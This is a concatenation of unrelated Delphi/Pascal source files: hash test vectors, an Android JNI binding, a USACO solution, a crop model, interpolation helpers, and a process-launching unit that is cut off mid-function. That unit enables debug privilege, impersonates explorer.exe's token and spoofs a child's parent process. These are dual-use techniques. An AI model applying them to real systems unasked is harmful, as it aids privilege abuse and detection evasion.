showmessage(global_values[NUMBER_VALUES - 1].name);
end;
until not RegExpro.ExecNext();
end;
end;
if check then
inc(i);
SearchValue(local_values, NUMBER_VALUES_LOCAL, MemoCode.Lines[i], global_values, NUMBER_VALUES);
if check then
dec(i);
inc(i);
until (i = MemoCode.Lines.Count);
MetricData(global_values, NUMBER_VALUES);
metric_result:= input_vars + 2*modificated_vars + 3*managing_vars + Trunc((1/2)*parasitic_vars);
mResult.Clear;
mResult.Lines.Add('Количество переменных ввода: '+ IntToStr(input_vars));
mResult.Lines.Add('Количество модифицируемых переменных: '+ IntToStr(modificated_vars));
mResult.Lines.Add('Количество управляющих переменных: '+ IntToStr(managing_vars));
mResult.Lines.Add('Количество паразитных переменных: '+ IntToStr(parasitic_vars));
mResult.Lines.Add('Значение метрики Чепина: '+ IntToStr(metric_result));
// MemoResult.Lines.Add(global_values[NUMBER_VALUES - 1].name);
end;
end;
end.
|
//
// Generated by JavaToPas v1.5 20150830 - 103153
////////////////////////////////////////////////////////////////////////////////
unit android.hardware.input.InputManager;
interface
uses
AndroidAPI.JNIBridge,
Androidapi.JNI.JavaTypes,
android.view.InputDevice,
android.hardware.input.InputManager_InputDeviceListener,
Androidapi.JNI.os;
type
JInputManager = interface;
JInputManagerClass = interface(JObjectClass)
['{D1D061B8-1C92-4E95-8124-B29D426F02B8}']
function _GetACTION_QUERY_KEYBOARD_LAYOUTS : JString; cdecl; // A: $19
function _GetMETA_DATA_KEYBOARD_LAYOUTS : JString; cdecl; // A: $19
function getInputDevice(id : Integer) : JInputDevice; cdecl; // (I)Landroid/view/InputDevice; A: $1
function getInputDeviceIds : TJavaArray<Integer>; cdecl; // ()[I A: $1
procedure registerInputDeviceListener(listener : JInputManager_InputDeviceListener; handler : JHandler) ; cdecl;// (Landroid/hardware/input/InputManager$InputDeviceListener;Landroid/os/Handler;)V A: $1
procedure unregisterInputDeviceListener(listener : JInputManager_InputDeviceListener) ; cdecl;// (Landroid/hardware/input/InputManager$InputDeviceListener;)V A: $1
property ACTION_QUERY_KEYBOARD_LAYOUTS : JString read _GetACTION_QUERY_KEYBOARD_LAYOUTS;// Ljava/lang/String; A: $19
property META_DATA_KEYBOARD_LAYOUTS : JString read _GetMETA_DATA_KEYBOARD_LAYOUTS;// Ljava/lang/String; A: $19
end;
[JavaSignature('android/hardware/input/InputManager$InputDeviceListener')]
JInputManager = interface(JObject)
['{3CCF60E2-4BF7-4C9B-BE1B-1E8BEF7A9F9D}']
function getInputDevice(id : Integer) : JInputDevice; cdecl; // (I)Landroid/view/InputDevice; A: $1
function getInputDeviceIds : TJavaArray<Integer>; cdecl; // ()[I A: $1
procedure registerInputDeviceListener(listener : JInputManager_InputDeviceListener; handler : JHandler) ; cdecl;// (Landroid/hardware/input/InputManager$InputDeviceListener;Landroid/os/Handler;)V A: $1
procedure unregisterInputDeviceListener(listener : JInputManager_InputDeviceListener) ; cdecl;// (Landroid/hardware/input/InputManager$InputDeviceListener;)V A: $1
end;
TJInputManager = class(TJavaGenericImport<JInputManagerClass, JInputManager>)
end;
const
TJInputManagerACTION_QUERY_KEYBOARD_LAYOUTS = 'android.hardware.input.action.QUERY_KEYBOARD_LAYOUTS';
TJInputManagerMETA_DATA_KEYBOARD_LAYOUTS = 'android.hardware.input.metadata.KEYBOARD_LAYOUTS';
implementation
end.
|
unit uLockBox_Hashes;
interface
uses
SysUtils, TestFramework, uTPLb_Hash, uTPLb_CryptographicLibrary, Classes,
uTPLb_MemoryStreamPool;
type
THash_TestCase = class( TTestCase)
protected
FHash: THash;
FLib: TCryptographicLibrary;
FReferenceTestSource: TBytes;
FReferenceTestRefrnc: TBytes;
FSource: TMemoryStream;
FRefValue: TMemoryStream;
FTestValue: TMemoryStream;
procedure SetUp; override;
procedure TearDown; override;
class function HashId: string; virtual; abstract;
published
procedure ReferenceTestVectors;
end;
TMD5_TestCase = class( THash_TestCase)
protected
class function HashId: string; override;
end;
TSHA1_TestCase = class( THash_TestCase)
protected
class function HashId: string; override;
end;
TSHA256_TestCase = class( THash_TestCase)
protected
class function HashId: string; override;
published
procedure ExtraReferenceTests;
end;
TSHA224_TestCase = class( THash_TestCase)
protected
class function HashId: string; override;
published
procedure ExtraReferenceTests;
end;
TSHA512_TestCase = class( THash_TestCase)
protected
class function HashId: string; override;
published
procedure ExtraReferenceTests;
end;
TSHA384_TestCase = class( THash_TestCase)
protected
class function HashId: string; override;
end;
TSHA512_224_TestCase = class( THash_TestCase)
protected
class function HashId: string; override;
end;
TSHA512_256_TestCase = class( THash_TestCase)
protected
class function HashId: string; override;
end;
implementation
uses
uTPLb_SHA2, uTPLb_Constants, uTPLb_BinaryUtils, uTPLb_HashDsc, uTPLb_StreamUtils,
uTPLb_StrUtils;
procedure InitUnit_Hashes;
begin
TestFramework.RegisterTest( TMD5_TestCase.Suite);
TestFramework.RegisterTest( TSHA1_TestCase.Suite);
TestFramework.RegisterTest( TSHA224_TestCase.Suite);
TestFramework.RegisterTest( TSHA256_TestCase.Suite);
TestFramework.RegisterTest( TSHA384_TestCase.Suite);
TestFramework.RegisterTest( TSHA512_TestCase.Suite);
TestFramework.RegisterTest( TSHA512_224_TestCase.Suite);
TestFramework.RegisterTest( TSHA512_256_TestCase.Suite);
end;
procedure DoneUnit_Hashes;
begin
end;
{ THash_TestCase }
procedure THash_TestCase.SetUp;
var
TestAccess: IHash_TestAccess;
Hasher: IHasher;
begin
FLib := TCryptographicLibrary.Create( nil);
FHash := THash.Create( nil);
FHash.CryptoLibrary := FLib;
FHash.HashId := HashId;
FHash.Begin_Hash;
if Supports( FHash, IHash_TestAccess, TestAccess) then
Hasher := TestAccess.GetHasher;
FHash.End_Hash;
if assigned( Hasher) then
begin
FReferenceTestSource := Hasher.SelfTest_Source;
FReferenceTestRefrnc := Hasher.SelfTest_ReferenceHashValue
end;
FSource := TMemoryStream.Create;
FRefValue := TMemoryStream.Create;
FTestValue := TMemoryStream.Create
end;
procedure TSHA256_TestCase.ExtraReferenceTests;
begin
FReferenceTestSource := AnsiBytesOf('abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq');
FReferenceTestRefrnc := AnsiBytesOf('248D6A61 D20638B8 ' +
'E5C02693 0C3E6039 A33CE459 64FF2167 F6ECEDD4 19DB06C1');
ReferenceTestVectors
end;
procedure TSHA224_TestCase.ExtraReferenceTests;
begin
FReferenceTestSource := AnsiBytesOf('abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq');
FReferenceTestRefrnc := AnsiBytesOf('75388B16 512776CC 5DBA5DA1 FD890150 B0C6455C B4F58B19 52522525');
ReferenceTestVectors
end;
procedure THash_TestCase.TearDown;
begin
FHash.Free;
FLib.Free;
FSource.Free;
FRefValue.Free;
FTestValue.Free
end;
procedure THash_TestCase.ReferenceTestVectors;
begin
FSource.Write( FReferenceTestSource[0], Length( FReferenceTestSource));
{$WARNINGS OFF}
Read_BigEndien_u32_Hex(TEncoding.ANSI.GetString(FReferenceTestRefrnc), FRefValue);
{$WARNINGS ON}
FHash.HashStream( FSource);
FTestValue.CopyFrom( FHash.HashOutputValue, 0);
FHash.Burn;
Check( CompareMemoryStreams( FRefValue, FTestValue), Format(
'Hash %s failed it''s standard reference test.',[FHash.Hash]))
end;
{ TMD5_TestCase }
class function TMD5_TestCase.HashId: string;
begin
result := 'native.hash.MD5'
end;
{ TSHA1_TestCase }
class function TSHA1_TestCase.HashId: string;
begin
result := 'native.hash.SHA-1'
end;
// Test vectors from
// http://csrc.nist.gov/groups/ST/toolkit/documents/Examples/SHA256.pdf
{ TSHA2_TestCase }
class function TSHA256_TestCase.HashId: string;
begin
result := SHA256_ProgId
end;
class function TSHA224_TestCase.HashId: string;
begin
result := SHA224_ProgId
end;
procedure TSHA512_TestCase.ExtraReferenceTests;
begin
FReferenceTestSource := AnsiBytesOf('abcdefghbcdefghicdefghijdefghijkefghijklfghijk' +
'lmghijklmnhijklmnoijklmnopjklmnopqklmnopqrlmnopqrsmnopqrstnopqrstu');
FReferenceTestRefrnc := AnsiBytesOf('8E959B75 DAE313DA 8CF4F728 14FC143F ' +
'8F7779C6 EB9F7FA1 7299AEAD B6889018 501D289E 4900F7E4 ' +
'331B99DE C4B5433A C7D329EE B6DD2654 5E96E55B 874BE909');
ReferenceTestVectors
end;
class function TSHA512_TestCase.HashId: string;
begin
result := SHA512_ProgId
end;
class function TSHA384_TestCase.HashId: string;
begin
result := SHA384_ProgId
end;
class function TSHA512_224_TestCase.HashId: string;
begin
result := SHA512_224_ProgId
end;
class function TSHA512_256_TestCase.HashId: string;
begin
result := SHA512_256_ProgId
end;
initialization
InitUnit_Hashes;
finalization
DoneUnit_Hashes;
end.
|
unit uWinApi;
interface
type
EXECUTION_STATE = Cardinal;
const
ES_AWAYMODE_REQUIRED = $00000040;
ES_CONTINUOUS = $80000000;
ES_DISPLAY_REQUIRED = $00000002;
ES_SYSTEM_REQUIRED = $00000001;
ES_USER_PRESENT = $00000004;
function SetThreadExecutionState(esFlags: EXECUTION_STATE): Cardinal;
stdcall; external 'Kernel32.dll';
procedure DisableSleep;
procedure EnableSleep;
implementation
procedure DisableSleep;
begin
SetThreadExecutionState(ES_DISPLAY_REQUIRED or ES_SYSTEM_REQUIRED or ES_CONTINUOUS);
end;
procedure EnableSleep;
begin
SetThreadExecutionState(ES_CONTINUOUS);
end;
end.
|
{Problem 13: The Bale Tower [Rob Kolstad, 2007]
Always bored with cud-chewing, the cows have invented a new game.
One cow retrieves a set of N (3 <= N <= 20) hay bales from the shed
each of which is one unit high. Each bale also has some unique width
and unique breadth.
A second cow tries to choose a set of bales to make the tallest
stack of bales in which each bale can be placed only on a bale whose
own width and breadth are smaller than the width and breadth of the
bale below. Bales can not be rotated to interchange the width and
breadth.
Help the cows determine the highest achievable tower that can be
legally built form a set of bales.
PROBLEM NAME: btwr
INPUT FORMAT:
* Line 1: A single integer, N
* Lines 2..N+1: Each line describes a bale with two space-separated
integers,respectively the width and breadth
SAMPLE INPUT (file btwr.in):
6
6 9
10 12
9 11
8 10
7 8
5 3
INPUT DETAILS:
Six bales of various widths and breadths
OUTPUT FORMAT:
* Line 1: The height of the tallest possible tower that can legally be
built from the bales.
SAMPLE OUTPUT (file btwr.out):
5
OUTPUT DETAILS:
These bales can be stacked for a total height of 5:
10 12
9 11
8 10
6 9
5 3
[another stacking exists, too]
}
var
fe,fs : text;
n,sol : longint;
tab : array[0..21,1..2] of longint;
res : array[0..21] of longint;
procedure open;
var
t : longint;
begin
assign(fe,'btwr.in'); reset(fe);
assign(fs,'btwr.out'); rewrite(fs);
readln(fe,n);
for t:=1 to n do
readln(fe,tab[t,1],tab[t,2]);
close(fe);
end;
procedure qsort(ini,fin : longint);
var
i,j,k,t : longint;
begin
i:=ini; j:=fin; k:=tab[(i+j) div 2,2];
repeat
while tab[i,2] < k do inc(i);
while tab[j,2] > k do dec(j);
if i<=j then
begin
t:=tab[i,2]; tab[i,2]:=tab[j,2]; tab[j,2]:=t;
t:=tab[i,1]; tab[i,1]:=tab[j,1]; tab[j,1]:=t;
inc(i); dec(j);
end;
until i>j;
if i < fin then qsort(i,fin);
if j > ini then qsort(ini,j);
end;
procedure work;
var
i,j : longint;
begin
sol:=0;
for i:=n downto 1 do
begin
for j:=i+1 to n do
if (tab[i,1] < tab[j,1]) and (res[j] > res[i]) then
res[i]:=res[j];
inc(res[i]);
if res[i] > sol then
sol:=res[i];
end;
end;
procedure closer;
begin
writeln(fs,sol);
close(fs);
end;
begin
open;
qsort(1,n);
work;
closer;
end.
|
unit ILPP_Utils;
{$INCLUDE '.\ILPP_defs.inc'}
interface
{===============================================================================
(Extra/Inter)polation routines
===============================================================================}
Function NormalizeInBounds(Low,High: Single; Value: Single): Single;
Function ExtrapolateLinear(LowX,HighX,LowY,HighY: Single; Value: Single): Single; overload;
Function ExtrapolateLinear(Value: Single): Single; overload;
Function InterpolateLinear(LowX,HighX,LowY,HighY: Single; Value: Single): Single; overload;
Function InterpolateLinear(Value: Single): Single; overload;
Function InterpolateBiLinear(LowX,HighX,LowY,HighY,ChangeX,ChangeY: Single; Value: Single): Single; overload;
Function InterpolateBiLinear(ChangeX,ChangeY: Single; Value: Single): Single; overload;
{===============================================================================
Other routines
===============================================================================}
procedure ExtractResourceToFile(const ResourceName,FileName: String);
implementation
uses
SysUtils, Classes, Math,
StrRect;
{===============================================================================
(Extra/Inter)polation routines
===============================================================================}
Function NormalizeInBounds(Low,High: Single; Value: Single): Single;
begin
If High <> Low then
Result := EnsureRange((Value - Low) / (High - Low),0.0,1.0)
else
Result := 0.0;
end;
//------------------------------------------------------------------------------
Function ExtrapolateLinear(LowX,HighX,LowY,HighY: Single; Value: Single): Single;
begin
If HighX <> LowX then
Result := LowY + (((Value - LowX) / (HighX - LowX)) * (HighY - LowY))
else
Result := 0.0;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Function ExtrapolateLinear(Value: Single): Single;
begin
Result := ExtrapolateLinear(0.0,1.0,0.0,1.0,Value);
end;
//------------------------------------------------------------------------------
Function InterpolateLinear(LowX,HighX,LowY,HighY: Single; Value: Single): Single;
begin
If Value < LowX then
Result := LowY
else If Value > HighX then
Result := HighY
else
Result := LowY + (NormalizeInBounds(LowX,HighX,Value) * (HighY - LowY));
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Function InterpolateLinear(Value: Single): Single;
begin
Result := InterpolateLinear(0.0,1.0,0.0,1.0,Value);
end;
//------------------------------------------------------------------------------
Function InterpolateBiLinear(LowX,HighX,LowY,HighY,ChangeX,ChangeY: Single; Value: Single): Single;
begin
If ChangeX <> LowX then
begin
If Value > ChangeX then
Result := InterpolateLinear(ChangeX,HighX,ChangeY,HighY,Value)
else
Result := InterpolateLinear(LowX,ChangeX,LowY,ChangeY,Value);
end
else Result := InterpolateLinear(LowX,HighX,LowY,highY,Value);
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Function InterpolateBiLinear(ChangeX,ChangeY: Single; Value: Single): Single;
begin
Result := InterpolateBiLinear(0.0,1.0,0.0,1.0,ChangeX,ChangeY,Value);
end;
{===============================================================================
Other routines
===============================================================================}
procedure ExtractResourceToFile(const ResourceName,FileName: String);
var
ResStream: TResourceStream;
begin
If not FileExists(StrToRTL(FileName)) then
begin
ResStream := TResourceStream.Create(hInstance,StrToRTL(ResourceName),PChar(10));
try
ResStream.SaveToFile(StrToRTL(FileName));
finally
ResStream.Free;
end;
end;
end;
end.
|
unit Sorghum;
interface
uses Math, SysUtils;
var
StockRacinairePrec: Double = 0;
implementation
uses ModelsManage, GestionDesErreurs, Dialogs;
var
tabCstr: array[1..5] of Double; // utilisé dans SorghumMortality()
var
tabCstrIndiceCourant: Integer = 0; // utilisé dans SorghumMortality()
var
NbJourCompte: integer = 0;
//##############################################################################
/// Ce module permet de suivre l'évolution des 5 derniers jours de Cstr afin de
/// moyenner la valeur des stress. Si la moyenne des Cstr est inférieure à
/// un seuil SorghumMortality, la culture décède (NumPhase=8)
/// Demande MD du 28/09/06
//##############################################################################
procedure SorghumMortality(const cstr, SeuilCstrMortality: Double; var NumPhase:
double);
var
i: Integer;
MoyenneCstr: Double;
begin
try
if (NumPhase >= 2) then
begin
NbJourCompte := NbJourCompte + 1;
// gestion de l'indice...
if (tabCstrIndiceCourant = 5) then
begin
tabCstrIndiceCourant := 1;
tabCstr[tabCstrIndiceCourant] := cstr;
end
else
begin
tabCstrIndiceCourant := tabCstrIndiceCourant + 1;
tabCstr[tabCstrIndiceCourant] := cstr;
end;
// gestion de la mortalité
if (NbJourCompte >= 5) then
begin // on peut moyenner...
MoyenneCstr := 0;
for i := 1 to 5 do
begin
MoyenneCstr := MoyenneCstr + tabCstr[i];
end;
if ((MoyenneCstr / 5) <= SeuilCstrMortality) then
begin
NumPhase := 7;
end;
end;
end;
except
AfficheMessageErreur('SorghumMortality', URiz);
end;
end;
//##############################################################################
/// Calcul de l'infiltration
//##############################################################################
procedure EvalInfiltration(const Pluie, Lr: Double;
var Infiltration: Double);
begin
try
Infiltration := Pluie - Lr;
except
AfficheMessageErreur('EvalInfiltration', USorghum);
end;
end;
//##############################################################################
/// Calcul du drainage
//##############################################################################
procedure EvalDrainage(const Pluie, Infiltration, StockRacinaire: Double;
var Drainage: Double);
begin
try
Drainage := max(0, Pluie - (StockRacinaire - StockRacinairePrec) -
Infiltration);
StockRacinairePrec := StockRacinaire;
except
AfficheMessageErreur('EvalDrainage', USorghum);
end;
end;
procedure EvalDrainageSansCulture(const Pluie, Infiltration: Double;
var Drainage: Double);
begin
try
Drainage := max(0, Pluie - Infiltration);
except
AfficheMessageErreur('EvalDrainage', USorghum);
end;
end;
//##############################################################################
/// Calcul de cumul général d'une valeur entre la deux phase PhaseDebutCumul et PhaseFinCumul
//##############################################################################
procedure CumulGenerique(const ValeurACumuler, NumPhase, PhaseDebutCumul,
PhaseFinCumul: double;
var Cumul: Double);
begin
try
if PhaseDebutCumul < 0 then
begin
if NumPhase <= PhaseFinCumul then
Cumul := Cumul + ValeurACumuler
else
Cumul := 0;
end
else
begin
if ((NumPhase >= PhaseDebutCumul) and (NumPhase <= PhaseFinCumul)) then
Cumul := Cumul + ValeurACumuler
else
Cumul := 0;
end;
except
AfficheMessageErreur('CumulGenerique', USorghum);
end;
end;
procedure CumulGeneriqueComplet(const ValeurACumuler: double;
var Cumul: Double);
begin
try
Cumul := Cumul + ValeurACumuler;
except
AfficheMessageErreur('CumulGeneriqueComplet', USorghum);
end;
end;
//##############################################################################
/// Calcul du nombre de jour de pluie entre la phase PhaseDebutNbPluie et PhaseFinNbPluie
//##############################################################################
procedure CompteJourPluvieux(const Pluie, NumPhase, PhaseDebutNbPluie,
PhaseFinNbPluie: double;
var NbJourPluvieux: Double);
begin
try
if ((NumPhase >= PhaseDebutNbPluie) and (NumPhase <= PhaseFinNbPluie)) then
begin
if Pluie <> 0 then
NbJourPluvieux := NbJourPluvieux + 1;
end; { TODO : voir l'initialisation si PhaseDebutNbPluie=0 }
except
AfficheMessageErreur('CompteJourPluivieux', USorghum);
end;
end;
//##############################################################################
/// Calcul du sla suivant méthodologie Mitchterlich
//##############################################################################
procedure EvalSlaMitch(const SlaMax, SlaMin, AttenMitch, SDJ, SDJLevee,
NumPhase: double;
var sla: Double);
begin
try
if NumPhase > 1 then
sla := SlaMin + (SlaMax - SlaMin) * Power(AttenMitch, (SDJ - SDJLevee))
else
sla := 0;
except
AfficheMessageErreur('EvalSlaMitch', USorghum);
end;
end;
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
procedure SorghumMortalityDyn(var T: TPointeurProcParam);
begin
SorghumMortality(T[0], T[1], T[2]);
end;
procedure EvalInfiltrationDyn(var T: TPointeurProcParam);
begin
EvalInfiltration(T[0], T[1], T[2]);
end;
procedure EvalDrainageDyn(var T: TPointeurProcParam);
begin
EvalDrainage(T[0], T[1], T[2], T[3]);
end;
procedure EvalDrainageSansCultureDyn(var T: TPointeurProcParam);
begin
EvalDrainageSansCulture(T[0], T[1], T[2]);
end;
procedure CumulGeneriqueDyn(var T: TPointeurProcParam);
begin
CumulGenerique(T[0], T[1], T[2], T[3], T[4]);
end;
procedure CumulGeneriqueCompletDyn(var T: TPointeurProcParam);
begin
CumulGeneriqueComplet(T[0], T[1]);
end;
procedure CompteJourPluvieuxDyn(var T: TPointeurProcParam);
begin
CompteJourPluvieux(T[0], T[1], T[2], T[3], T[4]);
end;
procedure EvalSlaMitchDyn(var T: TPointeurProcParam);
begin
EvalSlaMitch(T[0], T[1], T[2], T[3], T[4], T[5], T[6]);
end;
////////////////////////////////////////////////////////////////////////////////
initialization
TabProc.AjoutProc('SorghumMortality', SorghumMortalityDyn);
TabProc.AjoutProc('EvalInfiltration', EvalInfiltrationDyn);
TabProc.AjoutProc('EvalDrainage', EvalDrainageDyn);
TabProc.AjoutProc('EvalDrainageSansCulture', EvalDrainageSansCultureDyn);
TabProc.AjoutProc('CumulGenerique', CumulGeneriqueDyn);
TabProc.AjoutProc('CumulGeneriqueComplet', CumulGeneriqueCompletDyn);
TabProc.AjoutProc('CompteJourPluvieux', CompteJourPluvieuxDyn);
TabProc.AjoutProc('EvalSlaMitch', EvalSlaMitchDyn);
end.
|
unit ProcessCreator;
interface
type
{$IFDEF UNICODE}
PChar = PWideChar;
{$ELSE}
PChar = PAnsiChar;
{$ENDIF}
function CreateProcessOnParentProcess(CommandLine: PChar): Boolean;
function CreateProcessAsAdmin(const path,args,workdir:WideString;mask:Cardinal = 256):LongBool;
function InstallSoft(const fileName,args:string;waitTime:Cardinal=INFINITE):LongBool;
function IsRunningAsAdmin:LongBool;
procedure RestartAsAdminWithSameArgs;
function GetOsVer:Cardinal;{0:unknow;1:xp,2003;2:vista,w7,w2008;3:win8,win8,win8.1,win10}
implementation
uses
SysUtils,ShellAPI,ActiveX,
TlHelp32,
Windows,Logger;
type
_CLIENT_ID = record
UniqueProcess: tHANDLE;
UniqueThread: tHANDLE;
end;
CLIENT_ID = _CLIENT_ID;
PCLIENT_ID = ^CLIENT_ID;
TClientID = CLIENT_ID;
PClientID = ^TClientID;
PUNICODE_STRING = ^UNICODE_STRING;
UNICODE_STRING = record
Length: Word;
MaximumLength: Word;
Buffer: pwidechar;
end;
{$MINENUMSIZE 4}
TSecurityImpersonationLevel = (SecurityAnonymous,
SecurityIdentification, SecurityImpersonation, SecurityDelegation);
{$MINENUMSIZE 1}
PSecurityQualityOfService = ^TSecurityQualityOfService;
SECURITY_CONTEXT_TRACKING_MODE = Boolean;
_SECURITY_QUALITY_OF_SERVICE = record
Length: Cardinal;
ImpersonationLevel: TSecurityImpersonationLevel;
ContextTrackingMode: SECURITY_CONTEXT_TRACKING_MODE;
EffectiveOnly: Boolean;
end;
TSecurityQualityOfService = _SECURITY_QUALITY_OF_SERVICE;
SECURITY_QUALITY_OF_SERVICE = _SECURITY_QUALITY_OF_SERVICE;
PSecurityDescriptor = Pointer;
_OBJECT_ATTRIBUTES = record
Length: Cardinal;
RootDirectory: THandle;
ObjectName: PUNICODE_STRING;
Attributes: Cardinal;
SecurityDescriptor: PSecurityDescriptor;
SecurityQualityOfService: PSecurityQualityOfService;
end;
OBJECT_ATTRIBUTES = _OBJECT_ATTRIBUTES;
POBJECT_ATTRIBUTES = ^OBJECT_ATTRIBUTES;
PPROC_THREAD_ATTRIBUTE_LIST = Pointer;
STARTUPINFOEX = packed record
StartupInfoX: StartupInfo;
lpAttributeList: PPROC_THREAD_ATTRIBUTE_LIST;
end;
STARTUPINFOEXA = packed record
StartupInfoX: StartupInfoA;
lpAttributeList: PPROC_THREAD_ATTRIBUTE_LIST;
end;
const
SE_SECURITY_NAME = 'SeSecurityPrivilege';
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = $00020000;
EXTENDED_STARTUPINFO_PRESENT = $00080000;
function InitializeProcThreadAttributeList(lpAttributeList: PPROC_THREAD_ATTRIBUTE_LIST; dwAttributeCount, dwFlags: DWORD; var lpSize: Cardinal): Boolean; stdcall; external 'kernel32.dll';
function CreateEnvironmentBlock(lpEnvironment: PPoint; hToken: THandle; bInherit: Boolean): Boolean; stdcall; external 'Userenv.dll' name 'CreateEnvironmentBlock';
procedure UpdateProcThreadAttribute(lpAttributeList: PPROC_THREAD_ATTRIBUTE_LIST; dwFlags, Attribute: DWORD; var pValue: Pointer; cbSize: Cardinal; pPreviousValue: Pointer; pReturnSize: PCardinal); stdcall;
external 'kernel32.dll' delayed;
function DestroyEnvironmentBlock(pEnvironment: Pointer): Boolean; stdcall; external 'Userenv.dll' name 'DestroyEnvironmentBlock';
procedure DeleteProcThreadAttributeList(lpAttributeList: PPROC_THREAD_ATTRIBUTE_LIST); stdcall; external 'Kernel32.dll';
function NtOpenProcessToken(ProcessHandle: THandle; DesiredAccess: Cardinal;
TokenHandle: PCardinal): Integer; stdcall;external 'ntdll.dll' name 'NtOpenProcessToken';
function NtOpenProcess(var ProcessHandle: THandle;DesiredAccess: Cardinal;
ObjectAttributes:Pointer;ClientId:Pointer
):Integer;stdcall;external 'ntdll.dll' name 'NtOpenProcess';
function LookupPrivilegeValueW(lpSystemName: PWideChar; lpName: PWideChar;
lpLuid: PLUID): LongBool; stdcall;
external 'Advapi32.dll' name 'LookupPrivilegeValueW';
function AdjustTokenPrivileges(TokenHandle: THandle;
DisableAllPrivileges: LongBool; NewState: PTokenPrivileges;
BufferLength: Cardinal; PreviousState: PTokenPrivileges;
ReturnLength: PCardinal): LongBool; stdcall;
external 'Advapi32.dll' name 'AdjustTokenPrivileges';
function CheckTokenMembership(TokenHandle: THandle; SidToCheck: Pointer; var IsMember: LongBool): LongBool;
stdcall; external advapi32 name 'CheckTokenMembership';
procedure GetOSVersionInfo(var Info: TOSVersionInfoEx);
begin
FillChar(Info, SizeOf(TOSVersionInfoEx), 0);
Info.dwOSVersionInfoSize := SizeOf(TOSVersionInfoEx);
if not GetVersionEx(TOSVersionInfo(Addr(Info)^)) then RaiseLastOSError;
end;
function GetOsVer:Cardinal;
var
info: TOSVersionInfoEx;
sysInfo: Tsysteminfo;
begin
windows.GetSystemInfo(sysInfo);
GetOSVersionInfo(info);
case info.dwMajorVersion of
0,1,2,3,4,5:begin
Result:=1;
end;
6:begin
case info.dwMinorVersion of
0,1:begin
Result:=2;
end;
2,3:begin
Result:=3;
end;
end;
end;
10:begin
Result:=3;
end;
else
Result:=0;
end;
end;
function EnableDebug(out hToken: THandle): Boolean;
Const
SE_DEBUG_NAME = 'SeDebugPrivilege';
var
_Luit: LUID;
TP: TOKEN_PRIVILEGES;
RetLen: Cardinal;
begin
Result := False;
hToken := 0;
if NtOpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, @hToken)
<> 0 then
Exit;
if not LookupPrivilegeValueW(nil, SE_DEBUG_NAME, @_Luit) then
begin
Exit;
end;
TP.PrivilegeCount := 1;
TP.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
TP.Privileges[0].LUID := Int64(_Luit);
RetLen := 0;
Result := AdjustTokenPrivileges(hToken, False, @TP, SizeOf(TP), nil, @RetLen);
end;
function GetIdByName(szName: PChar): DWORD;
var
hProcessSnap: THANDLE;
pe32: TProcessEntry32;
begin
Result:=0;
hProcessSnap := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
try
if (hProcessSnap = INVALID_HANDLE_VALUE) then Exit;
pe32.dwSize := sizeof(TProcessEntry32);
if Process32First(hProcessSnap, pe32) then
begin
repeat
if UpperCase(strpas(szName)) = UpperCase(pe32.szExeFile) then
begin
Result := pe32.th32ProcessID;
break;
end;
until (Process32Next(hProcessSnap, pe32) = FALSE);
end;
finally
CloseHandle(hProcessSnap);
end;
end;
function CreateProcessOnParentProcess(CommandLine: PChar): Boolean;
var
pi: Process_Information;
si: STARTUPINFOEX;
cbAListSize, IsErr: Cardinal;
pAList: PPROC_THREAD_ATTRIBUTE_LIST;
hParent, hToken, Explorerhandle: THandle;
UserNameATM:{$IFDEF UNICODE} array[0..255] of WideChar{$ELSE}array[0..255] of ANSIChar{$ENDIF};
BuffSize: DWORD;
lpEnvironment: Pointer;
DbHandle:THandle;
OA:OBJECT_ATTRIBUTES;
cid:TClientID;
begin
Result := False;
{ 提升权限 }
Result := EnableDebug(DbHandle);
if not Result then Exit;
UserNameATM := '';
while (UserNameATM = '') or (UpperCase(UserNameATM) = 'SYSTEM') do
begin
Sleep(50);
Explorerhandle := GetIdByName('EXPLORER.EXE');
if Explorerhandle <> 0 then
begin
FillChar(OA,SizeOf(OBJECT_ATTRIBUTES),#0);
OA.Length:=SizeOf(OBJECT_ATTRIBUTES);
cid.UniqueProcess:=Explorerhandle;
cid.UniqueThread:=0;
IF NtOpenProcess(hParent, $1F0FFF, @OA, @cid) = 0 THEN
begin
// if NtOpenProcessToken(hParent, TOKEN_ALL_ACCESS, hToken) then
if NtOpenProcessToken(hParent, TOKEN_ALL_ACCESS, @hToken) = 0 then
ImpersonateLoggedOnUser(hToken);
BuffSize := SizeOf(UserNameATM);
GetUserName(UserNameATM, BuffSize);
RevertToSelf;
end;
end;
end;
lpEnvironment := nil;
if not CreateEnvironmentBlock(@lpEnvironment, hToken, False) then
begin
//Printf(GetLastError,'CreateEnvironmentBlock:');
CloseHandle(hParent);
CloseHandle(hToken);
Exit;
end;
try
ZeroMemory(@si, SizeOf(STARTUPINFOEX));
si.StartupInfox.cb := SizeOf(si);
si.StartupInfox.lpDesktop := PChar('Winsta0\Default');
si.StartupInfox.wShowWindow := SW_MINIMIZE;
ZeroMemory(@pi, SizeOf(Process_Information));
cbAListSize := 0;
InitializeProcThreadAttributeList(nil, 1, 0, cbAListSize);
pAList := HeapAlloc(GetProcessHeap(), 0, cbAListSize);
if not InitializeProcThreadAttributeList(pAList, 1, 0, cbAListSize) then
begin
//Printf(GetLastError,'InitializeProcThreadAttributeList:');
Exit;
end;
SetLastError(0);
UpdateProcThreadAttribute(pAList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, Pointer(hParent), 4, nil, nil);
IsErr := GetLastError;
if IsErr > 0 then
begin
//Printf(GetLastError,'UpdateProcThreadAttribute:');
Exit;
end;
si.lpAttributeList := pAList;
if not CreateProcessAsUser(hToken, nil, CommandLine, nil, nil, false, EXTENDED_STARTUPINFO_PRESENT or CREATE_UNICODE_ENVIRONMENT, lpEnvironment, nil, si.StartupInfoX, pi) then
begin
//Printf(GetLastError,'CreateProcessAsUser:');
Exit;
end;
Result := True;
finally
IF pi.hProcess <> 0 THEN CloseHandle(pi.hProcess);
IF pi.hThread <> 0 THEN CloseHandle(pi.hThread);
